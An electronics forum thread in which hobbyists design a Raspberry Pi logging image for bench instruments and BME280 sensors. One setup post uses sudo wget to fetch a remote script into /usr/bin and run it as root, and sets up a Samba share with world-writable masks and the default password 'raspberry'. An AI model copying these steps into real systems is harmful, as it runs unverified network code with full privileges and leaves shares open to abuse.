EEVblog Electronics Community Forum

Electronics => Metrology => Topic started by: plesa on November 13, 2016, 10:08:18 pm

Title: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 13, 2016, 10:08:18 pm
Lot of members here needs to log data for various instruments.
And because there is no commonly accepted platform I would like to start collecting inputs for preparation image for RPi2/3 for data-logging over GPIB/LXI and USB.
Steps will be update on TiN website as well.
https://xdevs.com/guide/ni_gpib_rpi/
Soo will be there also RPi image which you will needs to restore on SD card.

Please add in this thread what you would like to log and what instrument.
Some of you have Prologix adapter which we can probably support with small modifications as well.
For logging environment is used BME280 ( temperature. humidity, pressure) sensors are pretty cheap $5 and reasonably accurate.

On RPi is running Apache as webserver and ProFTPd as FTP to access logs, of course SSH with screen  :)
Webpage on RPI contains live view of logged data with D3, from instrument and also data from BME280.

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: VK5RC on November 13, 2016, 10:23:32 pm
Hi Plesa,
For my vote its is all HP-Ag-Ks GPIB equipment with either  Prologix or HP 82357B. The later has some problems with clones abounding everywhere.
NI also in the running.
Thanks
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on November 13, 2016, 10:28:37 pm
plesa

Apache, noooo... How about nginx. I can help with setup.
I suggest to set deadline date for inputs , so after you could focus on making all features for version 0.1. ;)
If you want I can provide mercurial repository for sources/build files, etc off my server (no size limits).

I'd be happy with next feature set:

* Latest Pi3 kernel 4.x.x + linux-gpib (Have both Pi1 and Pi3 here)
* Python 2.7 as code platform
* Support for NI GPIB-USB-HS (I can test this)
* Support for Agilent GPIB pods and their clones  (can test with clone)
* Support for popular adapter like Prologix
* Support HP 34401A/3446xA
* Support HP 3458A (can test this)
* Support Keithley 2000
* Support Keithley 2001/2002 (can test this with both 2001 and 2002)
* Support BME280 for environment monitoring using I2C
* Function to upload CSV-data to remote FTP
* SSH via dhcp-network

Supporting all GPIB equipment would be many years of work, so I'd leave that out. If somebody need support specific piece of gear, they can dig thru instruments manual and write own python code to support logging required data.
For example I have Keithley 2510 TEC SMU, and use same app to log TEC power, temperature and current together with DMM samples, but I can't expect everyone to write support for it, just because I need it :) After few trial and errors it's not that hard for DIY.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on November 13, 2016, 10:34:09 pm
If it's python, I can help to write support for Keithley 2001, 2002, 2400, 2510, 182, HP 3458, Wavetek 4920/4920M.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: pmcouto on November 13, 2016, 10:43:56 pm
Hi Plesa,

Thanks for your efforts.

I would like to have support for data logging over LAN for Keithley DMM7510, Tek DMM4050/Fluke 8846A and Keysight 3446xA/34470A.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: 2N3055 on November 13, 2016, 10:46:21 pm
Plesa,
thanks for sharing...

For the moment I have Rigol DM3068 and RPi2..  It would be over Ethernet.
I would like to help with that.

P.S. Where did you guys get BME280 from?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: pmcouto on November 13, 2016, 10:55:00 pm
BME280

http://www.ebay.com/itm/272040804944?_trksid=p2060353.m2749.l2649&ssPageName=STRK%3AMEBIDX%3AIT (http://www.ebay.com/itm/272040804944?_trksid=p2060353.m2749.l2649&ssPageName=STRK%3AMEBIDX%3AIT)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: acbern on November 13, 2016, 11:49:00 pm
Great idea overall!! If this is written in Python, would it not also run (or could it be written in siuch a way) that it runs on a PC?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on November 14, 2016, 12:28:09 am
That's possible too, I used such way before with PyVISA , but quickly dropped the idea as having separate box, without tie to bulky PC is well worth those 35$ for Pi.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: HighVoltage on November 14, 2016, 12:48:04 am
Right now I am using the Prologix and RF Scientific logging software on my 3458A and other Agilent gear.
But I am very much interested in other options, especially RP.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: ManateeMafia on November 14, 2016, 01:53:02 am
I have been working on a small side project with the BME280. It takes the code we are using from Adafruit one step further by making it a network service.

Instead of calling it directly through the i2c interface, a server runs in the background and a client connects to it and gets the data. I have been using the server for some months now acting as a Fluke 1620A emulator. I have the real thing but it doesn't work very well and drops data intermittently.
I just wrote a client module that can be imported into a python app. It only requires a couple lines of code. The server and client can also reside on the same RPi if needed. My plan is to have a RPi run 24/7 feeding data to my Windows program monitoring 10V references and I won't have to move it around when I collect data for xDevs on a second RPi.

The code will be posted in a few days as I am waiting for a small case to show up that will also have a TFT display. I will be writing up an article in case anyone is interested in making one for their home lab. Plesa can also add it to the img file.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: ManateeMafia on November 14, 2016, 02:10:03 am
Plesa,

I have attached a couple of shell scripts I used to setup my RPi on wheezy. If you find any of it useful you can add it to your project. The rpi_gpib_installer.sh works well but it only lets you select either the Agilent or NI interfaces. It might not be difficult to change for a universal install.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: wraper on November 14, 2016, 02:18:50 am
Keysight 34461A, Rigol DM3068 over LAN.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 15, 2016, 07:01:19 am
Thanks for all inputs. Extra Kudos for  TiN and ManateeMafia
Based on voting majority needs support 3458A, so lets start with this instrument.
It is going to use latest Raspbian with Pixel, this is answer to TiN question related to kernel ( 4.4.26) and Python 2.7.9

GPIB interface:
NI GPIB-USB-HS - TiN, Plesa
Agilent 82357B ( official)  - we needs volunteer for testing
Agilent 82357B ( clone)  - I have dead clone only :(
Prologix GPIB-USB v6.0  - we needs volunteer for testing
Agilent E5810A  - Plesa

LAN:
support for LAN is made by
https://github.com/python-ivi/python-vxi11 (https://github.com/python-ivi/python-vxi11)
http://alexforencich.com/wiki/en/python-vxi11/start (http://alexforencich.com/wiki/en/python-vxi11/start)
Alex Forencich ( member here)  - author of python-vxi11 and also USBTMC

Instruments (Support means script for dataloging)
In first phase only 3458A,K2001,K2002
Future phases  3441xA/34401A/3446xA

Enviroment:
2x BME280 connected to I2C - Python dataloging with Adafruit code to log file (csv) and ploting data on webpage on RPI (similar look like Fluke 1620A display  - 2nd page of datasheet)
http://download.flukecal.com/pub/literature/3397500_6200_ENG_B_W.PDF (http://download.flukecal.com/pub/literature/3397500_6200_ENG_B_W.PDF)
2 sensors as minimum
BME280 sensors I used are these
https://www.sparkfun.com/products/13676 (https://www.sparkfun.com/products/13676)
Others posted above do not allow to set I2C address, there are similar on Ebay for $5/pcs.

Data upload:
Function to upload CSV-data to remote FTP. I will prefer to make data available on RPI FTP instead of active upload.
Who needs this except TiN?

SSH access is default.
Apache2/NGINX - any preference except TiN?

Now we needs to discuss how to process data. I checked options like KST ( stability ) and ended like TiN with D3.js. There is possibility to plot graphs by D3 on server side to reduce processing time on webpage, but I needs to investigate further. Dataplot of 10MB takes 20-30s.
Currently I can imagine one page for data from 3458A ( timestamp, temperature, humidity,pressure) second page for environment log and third page as universal for generic instruments ( timestamp, value).
Any suggestions how to visualize data?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on November 15, 2016, 09:30:45 am
It whould be nice to have a web interface to setup measurement experiment/project.

Inviato dal mio Nexus 6P utilizzando Tapatalk

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on November 15, 2016, 09:34:49 am
I don't know how D3 works, but I think it will be useful to have a file format that explains how to plot data and few "macro" to add things like stddev, convergence, ppm deviation between two measurements etc. If there is something like this, you can plot chart with one script.

Inviato dal mio Nexus 6P utilizzando Tapatalk

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: lwatts666 on November 15, 2016, 02:50:32 pm
The guys at sigrok.org have done a lot of work on unified cross platform drivers for various instruments and put it all under the GPL. You may be able to leverage some of their work. If nothing else, there is a lot info there.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: t2kv on November 15, 2016, 05:34:41 pm
Keysight 34461A over either LAN or USB, please.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: enut11 on November 15, 2016, 08:16:56 pm
@plesa

I have an HP3456A and Agilent HPIB to USB interface on the way. Also have RP3.
enut11
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: guenthert on November 16, 2016, 11:41:20 am
Hmmh, I'm generally in favor of strict separation of hard- and software, otherwise there will be unnecessary duplication of effort and fragmentation of community and knowledge.

If you suggest Raspberry Pi, I suppose you're ok with using Linux.  When the task is to access the GPIB using Linux, then the obvious choice would be to use the linux-gpib library (http://linux-gpib.sourceforge.net/ (http://linux-gpib.sourceforge.net/)), no?  Well, that's what I'm using at least (with an old PCI GPIB interface -- I also have a USB GPIB interface, but that doesn't seem to work well with multiple devices or older HPIB gear).

I would like to see more support for GPIB devices and perhaps on the high level ("presentation layer" if you will), like the web interface you suggest.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Nuno_pt on November 16, 2016, 08:27:40 pm
Morning all,

I also have an 3456 on the way and a Agilent 82357B clone, 2xBME280 on the way, all to join the K2000 and the 3457.

They are all connected via GPIB cables.

I've 2xRPi2.

So for me would be great in the 3456/7 could be add to the list.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on November 17, 2016, 02:51:51 am
If I remember K2001 and K2002 have 3458A GPIB compatibility mode ... so supporting 3458A means also K2001 and K2002.
Anyone used this compatibility mode up to now on Keithely? How it works?

Anyway I think we must think at this as at least 3 software layer for just capturing the data:
in this way we can implement how many LOW layer or instrument we wants without changing (too much) the other TOP layers.

Than I imagine a simple web interface made by two main modules:
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: klaus11 on November 17, 2016, 04:55:30 am
K2001 does not play with 3458A
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on November 17, 2016, 07:38:32 am
I have Raspi1 , and Raspi3
I would prefer Apache (sorry TIN)


Agilent 82357B ( clone)  - I have one , working excellent , and a Beiming
Agilent E5810A  - I have one , but not used it yet

Edit:
Have ordered : 2x BME280

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: lukier on November 17, 2016, 09:14:32 am
Agilent E5810A  - I have one , but not used it yet

Care for a mini teardown? I was thinking about GPIB-LAN bridges recently, because I only have one USB-GPIB adapter (also a 82357B clone) and it's not as convenient as having access to all the instruments from the network. So I've came up with the idea to implement a linux-gpib to VXI bridge to emulate E5810B (could do that with a RPi and this clone USB adapter perhaps), but I need to do more research on that.

While researching this I was looking at existing GPIB-LAN gateways, Keysight, ICS and also I've analyzed E5810B firmware a bit and it seems very clever as it uses TI's AM335X and the PRUSS cores to do the GPIB. I never saw the insides of this gateway so I don't know if PRUSS is bitbanging some GPIB interface chip (NAT9914 and the likes) or probably GPIB transceivers directly, which would be quite cool and fast. The kernel modules, especially the one responsible for talking to the PRUSS and GPIB is tagged with the GPL linker symbol, but I didn't find sources anywhere  :(
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Circuitous on November 17, 2016, 02:24:41 pm
I'm definitely interested in this project!

I'm interested in LAN support for any of:
34461A - Agilent
34410A - Agilent
DMM7510 - Keithley
2450 SMU - Keithley
DM3068 - Rigol
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on November 20, 2016, 05:50:28 am
Agilent E5810A  - I have one , but not used it yet

Care for a mini teardown? I was thinking about GPIB-LAN bridges recently, because I only have one USB-GPIB adapter (also a 82357B clone) and it's not as convenient as having access to all the instruments from the network. So I've came up with the idea to implement a linux-gpib to VXI bridge to emulate E5810B (could do that with a RPi and this clone USB adapter perhaps), but I need to do more research on that.

While researching this I was looking at existing GPIB-LAN gateways, Keysight, ICS and also I've analyzed E5810B firmware a bit and it seems very clever as it uses TI's AM335X and the PRUSS cores to do the GPIB. I never saw the insides of this gateway so I don't know if PRUSS is bitbanging some GPIB interface chip (NAT9914 and the likes) or probably GPIB transceivers directly, which would be quite cool and fast. The kernel modules, especially the one responsible for talking to the PRUSS and GPIB is tagged with the GPL linker symbol, but I didn't find sources anywhere  :(

I have an E5810A wo. USB , doubt there's a "Beagle" MCU in there.

AFAIK HighVoltage have a B'

/Bingo
 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 20, 2016, 07:05:41 am
Agilent E5810A  - I have one , but not used it yet

Care for a mini teardown? I was thinking about GPIB-LAN bridges recently, because I only have one USB-GPIB adapter (also a 82357B clone) and it's not as convenient as having access to all the instruments from the network. So I've came up with the idea to implement a linux-gpib to VXI bridge to emulate E5810B (could do that with a RPi and this clone USB adapter perhaps), but I need to do more research on that.

While researching this I was looking at existing GPIB-LAN gateways, Keysight, ICS and also I've analyzed E5810B firmware a bit and it seems very clever as it uses TI's AM335X and the PRUSS cores to do the GPIB. I never saw the insides of this gateway so I don't know if PRUSS is bitbanging some GPIB interface chip (NAT9914 and the likes) or probably GPIB transceivers directly, which would be quite cool and fast. The kernel modules, especially the one responsible for talking to the PRUSS and GPIB is tagged with the GPL linker symbol, but I didn't find sources anywhere  :(

I suppose I already posted internal picture of E5810A, but it use the Power PC AMCC PPC405.Firmware seems to be made by ICS Electronic http://www.icselect.com (http://www.icselect.com).
And there is also one Xilinx Spartan, 83846 PHY and some Cypress for USB. If you wants picture of A version I can post within 2-3 weeks, when I will be back home:)
The main board looks more like some platform, because on front are 3x 64 pin connectors to connect display and few leds on front panel.

If I remember K2001 and K2002 have 3458A GPIB compatibility mode ... so supporting 3458A means also K2001 and K2002.
Anyone used this compatibility mode up to now on Keithely? How it works?
K2001 do not have compatibility mode. It is only on K2001
I'm interested in LAN support for any of:
34461A - Agilent
34410A - Agilent
DMM7510 - Keithley
2450 SMU - Keithley
DM3068 - Rigol
Both 34461A and 3441xA will be working. For Keithley/Rigol I do not have access to them, but based on how Python scripts are, you can add their support (logging) easily.
Some old meters like 3457A I have in garage, so their support can be added later.

I don't know how D3 works, but I think it will be useful to have a file format that explains how to plot data and few "macro" to add things like stddev, convergence, ppm deviation between two measurements etc. If there is something like this, you can plot chart with one script.
Statistic available in D3 is min,max,mean,median,deviation, ppm is calculated against defined reference value. But If you needs something more complex you can access log by Samba of FTP and work with data in Excel/Libre Office or other statistical program.

In meantime I needs to define data separator ( comma, tab or semicolon) my preference is tab. So log files will be tsv and not csv. Any complains?

Current status:
Image for RPi 2/3 is ready ( ext4 replaced by F2FS)
Support implemented and tested for: LAN instruments ( tested with 34411A), USB ( by USBTMC, tested with 34411A), GPIB (NI USB-GPIB-HS,E5810A)
-big thanks to Alex Forecich ( member here)
http://www.alexforencich.com/wiki/en/python-vxi11/start (http://www.alexforencich.com/wiki/en/python-vxi11/start)
http://www.alexforencich.com/wiki/en/python-usbtmc/start (http://www.alexforencich.com/wiki/en/python-usbtmc/start)
Modified Adafruid library to support two BME280 sensors

Now lets to discuss the D3 and plot part.
A) I propose to have separate graph for Environment data ( both BME280 in one graph) .
B) Measurement data in second graph with environment data from one sensor ( add plot for ppm).

On chart are possible following functions:
Zoom in/Zoom out
Display values on mouse over

Any ideas?

BTW Thanks to VK5RC - He donated one 82357B clone for testing.
Prologix has been ordered.

I can upload current version of image (8GB SD card is minimum) or wait for Prologix. Anyone interested in current version?

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: lukier on November 20, 2016, 07:28:43 am
I suppose I already posted internal picture of E5810A, but it use the Power PC AMCC PPC405.Firmware seems to be made by ICS Electronic http://www.icselect.com (http://www.icselect.com).
And there is also one Xilinx Spartan, 83846 PHY and some Cypress for USB. If you wants picture of A version I can post within 2-3 weeks, when I will be back home:)
The main board looks more like some platform, because on front are 3x 64 pin connectors to connect display and few leds on front panel.

I suspected that Agilent might have rebranded some ICS stuff. Someone here did a teardown of ICS 8065, based on NAT7210 interface chip, driven by LH75411 ARM7TDMI.

Thanks for the description, seems too like departure from NI interface chips (EOL I suppose), so probably the Spartan does the GPIB protocol details and just passes data back and forth with the PowerPC. Still not as clever and simple as driving the GPIB transceivers straight from the PRU cores :)

Anyway, that's just curiosity, I don't want to dive deep into the GPIB details to be able to implement this in PRU. I'm leaning towards just a piece of software to translate VXI11 to linux-gpib calls so anyone with any supported GPIB adapter (NI, Agilent, Beiming, clones etc) and board of choice (RPi, BeagleBone etc) could set up a GPIB to LAN gateway.

TI AM335X GPIB would be useful for those that don't have any GPIB adapters or slow ones (e.g. not NI HS variant), but requires much more and low level work.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 20, 2016, 08:04:33 am
I suppose I already posted internal picture of E5810A, but it use the Power PC AMCC PPC405.Firmware seems to be made by ICS Electronic http://www.icselect.com (http://www.icselect.com).
And there is also one Xilinx Spartan, 83846 PHY and some Cypress for USB. If you wants picture of A version I can post within 2-3 weeks, when I will be back home:)
The main board looks more like some platform, because on front are 3x 64 pin connectors to connect display and few leds on front panel.

Agilent might have rebranded some ICS stuff. Someone here did a teardown of ICS 8065, based on NAT7210 interface chip, driven by LH75411 ARM7TDMI.

Thanks for the description, seems too like departure from NI interface chips (EOL I suppose), so probably the Spartan does the GPIB protocol details and just passes data back and forth with the PowerPC. Still not as clever and simple as driving the GPIB transceivers straight from the PRU cores :)

Anyway, that's just curiosity, I don't want to dive deep into the GPIB details to be able to implement this in PRU. I'm leaning towards just a piece of software to translate VXI11 to linux-gpib calls so anyone with any supported GPIB adapter (NI, Agilent, Beiming, clones etc) and board of choice (RPi, BeagleBone etc) could set up a GPIB to LAN gateway.

TI AM335X GPIB would be useful for those that don't have any GPIB adapters or slow ones (e.g. not NI HS variant), but requires much more and low level work.

I also suppose that it is re-brand or some of their OEM product.
NI seems to have also obsolescence problems and that why they made NI GPIB-USB-HS+, it can be interesting what is inside.
It can be useful, but the amount of work seems to be big, maybe for someone like NighPanda who made Beiming adapter:)

BTW I'm surprised how many people are using one adapter per instrument, after that is GPIB quite "expensive" interface.And GPIB cables are so cheap on eBay:)


Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: lukier on November 20, 2016, 08:29:08 am
BTW I'm surprised how many people are using one adapter per instrument, after that is GPIB quite "expensive" interface.And GPIB cables are so cheap on eBay:)

Seriously? Bus is in the name :) I wouldn't call GPIB cables cheap (especially when compared to mass produced computer cables), but still much cheaper than even Agilent clones or Beiming.

BTW For those looking for GPIB cables I can recommend this seller:

http://www.ebay.co.uk/itm/400964594669 (http://www.ebay.co.uk/itm/400964594669)

Bought from them 4 last year and 4 pcs recently and these cables are of very good quality, solid metal connector. Much better than some GPIB cables I found in the dumpster once (insulation coming out of the connector, plastic connector shells etc).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Nuno_pt on November 21, 2016, 09:19:40 am
I've bought 10x 50cm HP GPIB cables for $30 to connect everything toghether.
I already have the 53181 conhecer to the 3457, and the 3457 conhecer to the K2000.
Next will be the K2000 conhecer to the 3456, then the 3456 conhecer to the PC with GPIB to USB HP clone.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on November 21, 2016, 03:09:25 pm
plesa
Quote
I can upload current version of image (8GB SD card is minimum) or wait for Prologix. Anyone interested in current version?

My SD card in one of Pi1's died recently, so I'm surely can try new image now  ;D.

One more suggestion - to have main linux partition located in the end of the image. So it could be easily expanded to larger SD cards. It's PITA to do so if there is other smaller partition in the end or swap in 8GB image, and you use it on 32GB card for example  :-\ Yea, my linux-magic not that great.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 22, 2016, 09:05:46 am
plesa
Quote
I can upload current version of image (8GB SD card is minimum) or wait for Prologix. Anyone interested in current version?

My SD card in one of Pi1's died recently, so I'm surely can try new image now  ;D.

One more suggestion - to have main linux partition located in the end of the image. So it could be easily expanded to larger SD cards. It's PITA to do so if there is other smaller partition in the end or swap in 8GB image, and you use it on 32GB card for example  :-\ Yea, my linux-magic not that great.

Image is being uploaded to xDevs FTP :) File is called RPi_LogNut.7z
I tried to minimize the image size, but there seems to be problem with F2FS ( but I have much better experience with F2FS than with Ext4 FS).
Current image size after compression is 2.2GB. For image creation was used Win32DiskImager.
On image is enabled Samba, so you can access/map  /pub directory on your main computer.
Following has been tested:
   Connection to LAN instrument ( example /pub/python/Test_LAN.py)
   Connection to USB  instrument ( example /pub/python/Test_USB.py)
   Connection to GPIB instrument over NI adapter ( example /pub/python/Test_GPIB.py)
   Samba /pub ( read/write)
  BME280 logging (   /pub/python/BME280/BME_Logging_tsv.py)

Following needs to be set:
  webserver
  D3 scripts for logging (I would like to make it universal - description of plot loaded from log file header)
  Test support for 82357B clone adapter
  Test Prologix GPIB-USB Controller 6.0


Here are notes if someone want to update you own image:
1. Download Raspbian image  (RASPBIAN JESSIE WITH PIXEL)  it will take a while 1.4GB
https://www.raspberrypi.org/downloads/raspbian/ (https://www.raspberrypi.org/downloads/raspbian/)

2. For image installation follow
https://www.raspberrypi.org/documentation/installation/installing-images/README.md (https://www.raspberrypi.org/documentation/installation/installing-images/README.md)

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install screen mc f2fs-tools i2c-tools samba samba-common-bin bc python-dev rpi-update tk-dev build-essential texinfo texi2html libcwidget-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool

sudo rpi-update
sudo wget https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source (https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source) -O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-update
sudo rpi-source
sudo reboot

cd /opt
sudo svn checkout http://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/ (http://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/) linux-gpib
cd linux-gpib
sudo ./bootstrap
sudo ./configure
sudo make
sudo make install

sudo svn checkout https://github.com/python-ivi/python-vxi11/trunk (https://github.com/python-ivi/python-vxi11/trunk) python-vxi11
cd python-vxi11
sudo python setup.py install

sudo svn checkout https://github.com/python-ivi/python-usbtmc/trunk (https://github.com/python-ivi/python-usbtmc/trunk) python-usbtmc
cd python-usbtmc   
sudo python setup.py install
sudo pip install pyusb

# Following part is test USB connection
import usbtmc
instr =  usbtmc.Instrument("USB::0x0957::0x0a07::INSTR")
print(instr.ask("*IDN?"))
# Agilent Technologies,34411A,MY480060XX,2.41-2.40-0.09-46-09
Vice info https://github.com/python-ivi/python-usbtmc (https://github.com/python-ivi/python-usbtmc)


# I2C
enable i2C in raspi-config
sudo raspi-config
-7 Advanced Options - A7 I2C Enable/Disable automatic loading of I2C kernel module - YES
reboot
# Now detect the BME280 by
sudo i2cdetect -y 1
pi@raspberrypi:~ $ sudo i2cdetect -y 1
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:          -- -- -- -- -- -- -- -- -- -- -- -- --
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
70: -- -- -- -- -- -- 76 77

# Address 77 and 76 - BME280

Install adafruit library
cd opt   
sudo git clone https://github.com/adafruit/Adafruit_Python_GPIO.git (https://github.com/adafruit/Adafruit_Python_GPIO.git)
cd Adafruit_Python_GPIO
sudo python setup.py install

Modication second module ( I2C address to 76 instead 77 )
https://cdn.sparkfun.com/datasheets/Sensors/Weather/SparkFun_BME280_Breakout_v10.pdf (https://cdn.sparkfun.com/datasheets/Sensors/Weather/SparkFun_BME280_Breakout_v10.pdf)

# Samba configuration
sudo smbpasswd -a pi
enter Samba password (raspberry)

create /pub directory
mkdir pub
chown -R  pi /pub
sudo nano /etc/samba/smb.conf

# add following to smb.conf
[pub]
   comment= RPi pub
   path=/pub
   browseable=Yes
   writeable=Yes
   only guest=no
   create mask=0777
   directory mask=0777
   public=no

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on November 23, 2016, 06:00:54 am
@Plesa

Any hints/picts for mounting the BME280's ?
Do you have them on "cables" or what ?

Is the image for a Raspi3 , or can it run on a Raspi1 (old 512MB)  too ?

Edit: Thanx for doing this Plesa  :-+

Ohh suggestion . NFS Client , to be able to log data to a remote NFS disk , will also reduce the wear on the SD card.

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: ManateeMafia on November 23, 2016, 09:21:27 am
@bingo600

I have the Adafruit version of the BME280 breakout and I plan on putting mine inside of a Hammond 1551MFLBK enclosure. One of the holes of the pcb will be used to secure it to one of the internal standoffs.

The enclosure is much larger but I like the fact I can use a zip tie to temporarily mount it where it is needed. I will have to drill some small holes near the sensor.

I have found the board to be highly sensitive to air drafts and have been keeping mine wrapped in anti-static foam for a while now.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 23, 2016, 10:49:29 am
2x BME are hooked on I2C cable. One is packed with LTZ board inside polystyrene box.It is not secure by any screw.Nothing fancy I was in hurry to hook it up before leaving.

Image should be transferable to RPi2 ( tested ) for RPi I propose to run sudo apt-get update && sudo apt-get upgrade && rpi-update && reboot.
And after that I will be probably required to reinstall Linux-gpib according to notes above.

The NFS client, is good idea. The main aim of making this image is to help to people with 3458A and other instrument to setup powerful logging tool.
Currently we needs to more focus on interpreting the data (website for piloting basic scripts) rather than fine tunning image I think.
Wear level of SD card is not big deal, the majority of failures I have in past was related to corrupted FS. That's why I changed default Ext4 to F2FS.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on November 24, 2016, 01:54:09 am
@ManateeMafia & Plesa
Thanx for the info.

I'll see if i can get a Raspi 1 or 3 going this weekend , while waiting for the BME's from China

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: guenthert on November 24, 2016, 03:02:21 pm
Wear level of SD card is not big deal, the majority of failures I have in past was related to corrupted FS. That's why I changed default Ext4 to F2FS.
Er, Ext4 FS is pretty stable these days.  What makes you think that the fs didn't fail because some blocks couldn't be written (or rather the controller *on the SD card* didn't write those blocks to the non-volatile storage medium, presumable because either power was cut or no free, still good block could be identified)?

Stories aplenty of corrupted file systems among RPi users.  Didn't happen to me yet and I have a few, one or two for a few years now, but i) I'm not in the habit of cutting power to them (you wouldn't do that to a Unix box, would you?) some are actually mostly on (uptime on my Internet radio is now 283 days) and ii) on most of them I'm using the Debian package 'flashhybrid', bypassing the flash-wear and sudden power loss issues.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on November 26, 2016, 07:15:04 am
I'm actually using ext4 too , and have no problems on my RasPi's.
I even have one with Kodi , that gets it's power cut when we leave the summerhouse.
That one have been working for 1.5 years wo. probs

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: guenthert on November 27, 2016, 11:37:43 am
Stories aplenty of corrupted file systems among RPi users.  Didn't happen to me yet and I have a few, one or two for a few years now, but i) I'm not in the habit of cutting power to them (you wouldn't do that to a Unix box, would you?) some are actually mostly on (uptime on my Internet radio is now 283 days) and ii) on most of them I'm using the Debian package 'flashhybrid', bypassing the flash-wear and sudden power loss issues.
I jinxed it, it seems.  I have now in my hands my first broken micro SD card.  It happened while tinkering with one of my RPis -- I managed to misplace the 40pin header of a 'hat' by one pin.   :palm:  The RPi seems to have survived, but can't boot anymore.  On a 2nd system, I can mount and read the fs, but there are block level errors when the host attempts to write (including writing the dirty bit of the fs).  Update: some blocks, including some which shouldn't have been modified in months, can't even be read.

Ext4 is a traditional Unix file system, designed for rotating storage media, with little provisions protecting from hardware (block level) failures (the boot block is copied a few times, but that's about it).  Hardware failures are assumed to be handled on the block layer (RAID or similar).

A fs designed with the specific properties of the medium might be of advantage.  Not sure, how F2FS suggested above would fare in the event of a SD controller failure.

I think running an OS of an SD card is a rather questionable proposition.  I'd be more at ease, having the host boot from such a card, populating a RAM disk with the OS and then running from there (like many embedded systems operate).  Debian/Raspbian might be too fat to fit into the RAM of a RPi.  I meant for a while already to have a look how well OpenWRT runs on a RPi ... 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on November 27, 2016, 06:23:16 pm
Addon to the Vnut Platform

Here's Mark Simms annotated HP3458A calram readout , built on a RasPiv3 with a "fresh Jessie" , and linux-gpib 4.03
Rename the file extension to tar.gz , wasn't allowed as an upload extension

I haven't tested this one on my 58' yet , but it's build as the one i uploaded previously , that was used by TiN

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on November 27, 2016, 08:51:45 pm
I'd expect this ready to go image concept presented in thread to be more targeted for beginners and non-software folks who just want plug it in, write image and run the "log the data, now" app.

Btw, one problem I have with RPi and NI USB-GPIB-HS is random crashed when running long time (hours). I used wheezy and jessie images from raspi site, different kernels, latest and one before that linux-gpib, RPI 1 and RPI 3 boards and various SanDisk SD cards. After crash gpib_config can't talk to dongle anymore, even thou it shows ok in lsusb. Reboot doesn't help , only dongle powercycle does.

Same NI dongle however works happily logging simultaneous data from 3x2001, 2x2002, 3458 over more than 70 hours now, running same python snake app on DE1SoC board with Trusty LTS 14.04 linux.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on November 28, 2016, 04:12:32 am
I'd expect this ready to go image concept presented in thread to be more targeted for beginners and non-software folks who just want plug it in, write image and run the "log the data, now" app.

I don't agree 100%
A common platform would be nice for ie. your DMM noiselogger measurements.


